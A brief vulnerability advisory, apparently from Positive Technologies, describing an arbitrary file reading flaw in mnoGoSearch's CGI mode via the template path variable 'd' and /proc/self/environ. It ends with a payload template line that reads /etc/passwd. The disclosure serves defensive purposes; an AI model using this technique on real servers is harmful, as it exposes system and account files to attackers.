Positive Technologies experts have detected an Arbitrary Files Reading vulnerability in mnoGoSearch.
 
Passing startup parameters via QUERY_STRING (http://tools.ietf.org/html/draft-robinson-www-interface-00#section-7) for
an application running in CGI mode can be used to set page template path variable "d". Generating a template
file on the server and specifying it in the variable "d" can result in Arbitrary Files Reading via
<!INCLUDE CONTENT="URI"> template structure.
---[ Exploitation example]
The /proc/self/environ file, in which part of the template is formed through the PATH_INFO environment variable, can be
used as a template.

<!INCLUDE CONTENT="file:/etc/passwd">
